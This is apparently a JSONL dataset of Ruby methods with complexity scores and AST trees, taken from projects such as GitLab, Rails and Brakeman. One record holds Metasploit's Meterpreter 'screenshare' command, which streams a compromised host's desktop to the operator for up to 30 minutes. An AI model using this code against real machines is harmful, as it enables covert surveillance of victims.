end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"group_milestone\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@group_milestone\"]},{\"type\":\"send\",\"children\":[null,\"create\",{\"type\":\"sym\",\"children\":[\"milestone\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"group-milestone\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group\"]},{\"type\":\"send\",\"children\":[null,\"group\"]}]}]}]}]}]}","id":"7ac6f6ac-66c6-4f68-be4f-44e14a0f5b9d"} {"repo_name":"openproject","file_path":"./repos/openproject/app/models/exports/pdf/components/gantt/gantt_painter.rb","start_line":54,"raw_source":"def paint_page(page)\n paint_grid(page)\n paint_header_row(page)\n paint_lines(page)\n paint_rows(page)\n end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"paint_page\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"page\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"paint_grid\",{\"type\":\"lvar\",\"children\":[\"page\"]}]},{\"type\":\"send\",\"children\":[null,\"paint_header_row\",{\"type\":\"lvar\",\"children\":[\"page\"]}]},{\"type\":\"send\",\"children\":[null,\"paint_lines\",{\"type\":\"lvar\",\"children\":[\"page\"]}]},{\"type\":\"send\",\"children\":[null,\"paint_rows\",{\"type\":\"lvar\",\"children\":[\"page\"]}]}]}]}","id":"10b66e5c-a20f-48e9-880e-a117efda78ce"} {"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/file_cache.rb","start_line":9,"raw_source":"def test_basics\n fc = Brakeman::FileCache.new\n af = random_astfile\n other = random_astfile\n\n fc.add_file af, :controller\n\n assert fc.controllers[af.path]\n assert fc.cached? af.path\n refute fc.cached? other.path\n end","complexity_score":19.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_basics\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"fc\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Brakeman\"]},\"FileCache\"]},\"new\"]}]},{\"type\":\"lvasgn\",\"children\":[\"af\",{\"type\":\"send\",\"children\":[null,\"random_astfile\"]}]},{\"type\":\"lvasgn\",\"children\":[\"other\",{\"type\":\"send\",\"children\":[null,\"random_astfile\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fc\"]},\"add_file\",{\"type\":\"lvar\",\"children\":[\"af\"]},{\"type\":\"sym\",\"children\":[\"controller\"]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fc\"]},\"controllers\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"af\"]},\"path\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fc\"]},\"cached?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"af\"]},\"path\"]}]}]},{\"type\":\"send\",\"children\":[null,\"refute\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fc\"]},\"cached?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"path\"]}]}]}]}]}","id":"f87a48bb-88df-4f0e-a423-6ef9e3988111"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/icons_helper.rb","start_line":248,"raw_source":"def memoized_icon(key)\n @rendered_icons ||= {}\n\n @rendered_icons[key] || (\n @rendered_icons[key] = yield\n )\n end","complexity_score":5.3,"ast_json":"{\"type\":\"def\",\"children\":[\"memoized_icon\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@rendered_icons\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@rendered_icons\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@rendered_icons\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"yield\",\"children\":[]}]}]}]}]}]}","id":"b62942f5-d7e0-4da3-b9bd-e8759c501011"} {"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/phpbb3/database/database_base.rb","start_line":29,"raw_source":"def count(sql)\n query(sql).first[:count]\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"count\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sql\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"query\",{\"type\":\"lvar\",\"children\":[\"sql\"]}]},\"first\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"count\"]}]}]}","id":"26de969b-8e52-4c69-be0b-2f13a44ecbbe"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/notes_helper.rb","start_line":200,"raw_source":"def rendered_for_merge_request?\n params[:from_merge_request].present?\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"rendered_for_merge_request?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"from_merge_request\"]}]},\"present?\"]}]}","id":"4a113ea1-d379-4d2e-b630-d954fd7199ee"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb","start_line":203,"raw_source":"def cmd_screenshare( *args )\n stream_path = Rex::Text.rand_text_alpha(8) + \".jpeg\"\n player_path = Rex::Text.rand_text_alpha(8) + \".html\"\n quality = 50\n view = true\n duration = 1800\n\n screenshare_opts = Rex::Parser::Arguments.new(\n \"-h\" => [ false, \"Help Banner.\" ],\n \"-q\" => [ true, \"The JPEG image quality (Default: '#{quality}')\" ],\n \"-s\" => [ true, \"The stream file path (Default: '#{stream_path}')\" ],\n \"-t\" => [ true, \"The stream player path (Default: #{player_path})\"],\n \"-v\" => [ true, \"Automatically view the stream (Default: '#{view}')\" ],\n \"-d\" => [ true, \"The stream duration in seconds (Default: 1800)\" ] # 30 min\n )\n\n screenshare_opts.parse( args ) { | opt, idx, val |\n case opt\n when \"-h\"\n print_line( \"Usage: screenshare [options]\\n\" )\n print_line( \"View the current interactive desktop in real time.\" )\n print_line( screenshare_opts.usage )\n return\n when \"-q\"\n quality = val.to_i\n when \"-s\"\n stream_path = val\n when \"-t\"\n player_path = val\n when \"-v\"\n view = false if val =~ /^(f|n|0)/i\n when \"-d\"\n duration = val.to_i\n end\n }\n\n print_status(\"Preparing player...\")\n html = stream_html_template('screenshare', client.sock.peerhost, stream_path)\n ::File.open(player_path, 'wb') do |f|\n f.write(html)\n end\n\n path = ::File.expand_path(player_path)\n if view\n print_status(\"Opening player at: #{path}\")\n Rex::Compat.open_file(path)\n else\n print_status(\"Please open the player manually with a browser: #{path}\")\n end\n\n print_status(\"Streaming...\")\n begin\n ::Timeout.timeout(duration) do\n while client do\n data = client.ui.screenshot( quality )\n\n if data\n ::File.open(stream_path, 'wb') do |f|\n f.write(data)\n end\n data = nil\n end\n end\n end\n rescue ::Timeout::Error\n end\n\n print_status(\"Stopped\")\n\n return true\n end","complexity_score":77.4,"ast_json":"{\"type\":\"def\",\"children\":[\"cmd_screenshare\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"stream_path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"int\",\"children\":[8]}]},\"+\",{\"type\":\"str\",\"children\":[\".jpeg\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"player_path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"int\",\"children\":[8]}]},\"+\",{\"type\":\"str\",\"children\":[\".html\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"quality\",{\"type\":\"int\",\"children\":[50]}]},{\"type\":\"lvasgn\",\"children\":[\"view\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"duration\",{\"type\":\"int\",\"children\":[1800]}]},{\"type\":\"lvasgn\",\"children\":[\"screenshare_opts\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Parser\"]},\"Arguments\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"-h\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Help Banner.\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"-q\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"The JPEG image quality (Default: '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"quality\"]}]},{\"type\":\"str\",\"children\":[\"')\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"-s\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"The stream file path (Default: '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stream_path\"]}]},{\"type\":\"str\",\"children\":[\"')\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"-t\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"The stream player path (Default: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"player_path\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"-v\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Automatically view the stream (Default: '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"view\"]}]},{\"type\":\"str\",\"children\":[\"')\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"-d\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The stream duration in seconds (Default: 1800)\"]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"screenshare_opts\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"args\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"opt\"]},{\"type\":\"arg\",\"children\":[\"idx\"]},{\"type\":\"arg\",\"children\":[\"val\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opt\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"-h\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"Usage: screenshare [options]\\n\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"View the current interactive desktop in real time.\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"screenshare_opts\"]},\"usage\"]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"-q\"]},{\"type\":\"lvasgn\",\"children\":[\"quality\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},\"to_i\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"-s\"]},{\"type\":\"lvasgn\",\"children\":[\"stream_path\",{\"type\":\"lvar\",\"children\":[\"val\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"-t\"]},{\"type\":\"lvasgn\",\"children\":[\"player_path\",{\"type\":\"lvar\",\"children\":[\"val\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"-v\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^(f|n|0)\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"view\",{\"type\":\"false\",\"children\":[]}]},null]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"-d\"]},{\"type\":\"lvasgn\",\"children\":[\"duration\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},\"to_i\"]}]}]},null]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Preparing player...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"html\",{\"type\":\"send\",\"children\":[null,\"stream_html_template\",{\"type\":\"str\",\"children\":[\"screenshare\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"sock\"]},\"peerhost\"]},{\"type\":\"lvar\",\"children\":[\"stream_path\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"open\",{\"type\":\"lvar\",\"children\":[\"player_path\"]},{\"type\":\"str\",\"children\":[\"wb\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"write\",{\"type\":\"lvar\",\"children\":[\"html\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"expand_path\",{\"type\":\"lvar\",\"children\":[\"player_path\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"view\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Opening player at: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Compat\"]},\"open_file\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Please open the player manually with a browser: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Streaming...\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Timeout\"]},\"timeout\",{\"type\":\"lvar\",\"children\":[\"duration\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"while\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"ui\"]},\"screenshot\",{\"type\":\"lvar\",\"children\":[\"quality\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"open\",{\"type\":\"lvar\",\"children\":[\"stream_path\"]},{\"type\":\"str\",\"children\":[\"wb\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"write\",{\"type\":\"lvar\",\"children\":[\"data\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"nil\",\"children\":[]}]}]},null]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Timeout\"]},\"Error\"]}]},null,null]},null]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Stopped\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]}]}","id":"b5c360b2-32ff-4dc1-a29a-0afbaa7883de"} {"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/reimbursement_tax_calculator.rb","start_line":12,"raw_source":"def call(reimbursement)\n reimbursement.return_items.includes(:inventory_unit).each do |return_item|\n set_tax!(return_item)\n end\n end","complexity_score":5.7,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"reimbursement\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reimbursement\"]},\"return_items\"]},\"includes\",{\"type\":\"sym\",\"children\":[\"inventory_unit\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"return_item\"]}]},{\"type\":\"send\",\"children\":[null,\"set_tax!\",{\"type\":\"lvar\",\"children\":[\"return_item\"]}]}]}]}","id":"e400736b-56d9-494a-a71c-7d51dac065db"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/stub_method_calls.rb","start_line":39,"raw_source":"def self.backup_method(object, method)\n backed_up_methods = stubbed_methods(object)\n backed_up_methods[method] = object.respond_to?(method) ? object.method(method) : nil\n\n object.define_singleton_method(:_stubbed_methods) { backed_up_methods }\n end","complexity_score":8.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"backup_method\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"object\"]},{\"type\":\"arg\",\"children\":[\"method\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"backed_up_methods\",{\"type\":\"send\",\"children\":[null,\"stubbed_methods\",{\"type\":\"lvar\",\"children\":[\"object\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"backed_up_methods\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"method\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"respond_to?\",{\"type\":\"lvar\",\"children\":[\"method\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"method\",{\"type\":\"lvar\",\"children\":[\"method\"]}]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"define_singleton_method\",{\"type\":\"sym\",\"children\":[\"_stubbed_methods\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"backed_up_methods\"]}]}]}]}","id":"86e29ca9-289b-4311-bfad-393a44519f9f"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/project.rb","start_line":3891,"raw_source":"def fetch_branch_allows_collaboration(user, branch_name = nil)\n return false unless user\n\n Gitlab::SafeRequestStore.fetch(\"project-#{id}:branch-#{branch_name}:user-#{user.id}:branch_allows_collaboration\") do\n next false if empty_repo?\n\n # Issue for N+1: https://gitlab.com/gitlab-org/gitlab-foss/issues/49322\n Gitlab::GitalyClient.allow_n_plus_1_calls do\n merge_requests_allowing_collaboration(branch_name).any? do |merge_request|\n merge_request.author.can?(:push_code, self) &&\n merge_request.can_be_merged_by?(user, skip_collaboration_check: true)\n end\n end\n end\n end","complexity_score":21.4,"ast_json":"{\"type\":\"def\",\"children\":[\"fetch_branch_allows_collaboration\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"optarg\",\"children\":[\"branch_name\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"SafeRequestStore\"]},\"fetch\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"project-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"id\"]}]},{\"type\":\"str\",\"children\":[\":branch-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"branch_name\"]}]},{\"type\":\"str\",\"children\":[\":user-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\":branch_allows_collaboration\"]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"empty_repo?\"]},{\"type\":\"next\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"GitalyClient\"]},\"allow_n_plus_1_calls\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_requests_allowing_collaboration\",{\"type\":\"lvar\",\"children\":[\"branch_name\"]}]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"merge_request\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_request\"]},\"author\"]},\"can?\",{\"type\":\"sym\",\"children\":[\"push_code\"]},{\"type\":\"self\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_request\"]},\"can_be_merged_by?\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"skip_collaboration_check\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}]}]}]}]}","id":"46f43847-1e11-4308-afb3-285a17309b0b"} {"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/webservice_test.rb","start_line":101,"raw_source":"def test_parsing_json_doesnot_rescue_exception\n req = Class.new(ActionDispatch::Request) do\n def params_parsers\n { json: Proc.new { |data| raise Interrupt } }\n end\n\n def content_length; get_header(\"rack.input\").length; end\n end.new(\"rack.input\" => StringIO.new('{\"title\":\"JSON\"}}'), \"CONTENT_TYPE\" => \"application/json\")\n\n assert_raises(Interrupt) do\n req.request_parameters\n end\n end","complexity_score":8.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_parsing_json_doesnot_rescue_exception\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"req\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionDispatch\"]},\"Request\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"def\",\"children\":[\"params_parsers\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Proc\"]},\"new\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"Interrupt\"]}]}]}]}]}]},{\"type\":\"def\",\"children\":[\"content_length\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_header\",{\"type\":\"str\",\"children\":[\"rack.input\"]}]},\"length\"]}]}]}]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"rack.input\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StringIO\"]},\"new\",{\"type\":\"str\",\"children\":[\"{\\\"title\\\":\\\"JSON\\\"}}\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"CONTENT_TYPE\"]},{\"type\":\"str\",\"children\":[\"application/json\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[null,\"Interrupt\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"req\"]},\"request_parameters\"]}]}]}]}","id":"720c9451-ba65-4251-a513-44b3e45b3fc0"} {"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/checks/check_sql.rb","start_line":647,"raw_source":"def quote_call? exp\n if call? exp.target\n exp.target.method == :connection and QUOTE_METHODS.include? exp.method\n elsif exp.target.nil?\n exp.method == :quote_value\n end\n end","complexity_score":17.2,"ast_json":"{\"type\":\"def\",\"children\":[\"quote_call?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"exp\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"call?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"target\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"target\"]},\"method\"]},\"==\",{\"type\":\"sym\",\"children\":[\"connection\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"QUOTE_METHODS\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"method\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"target\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"method\"]},\"==\",{\"type\":\"sym\",\"children\":[\"quote_value\"]}]},null]}]}]}","id":"d1fee258-6a13-404e-a484-c5443b8bf753"} {"repo_name":"fastlane","file_path":"./repos/fastlane/pilot/lib/pilot/build_manager.rb","start_line":356,"raw_source":"def should_update_beta_app_review_info(options)\n !options[:beta_app_review_info].nil?\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"should_update_beta_app_review_info\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"beta_app_review_info\"]}]},\"nil?\"]},\"!\"]}]}","id":"82a61396-1797-4602-94b5-0661fd650199"} 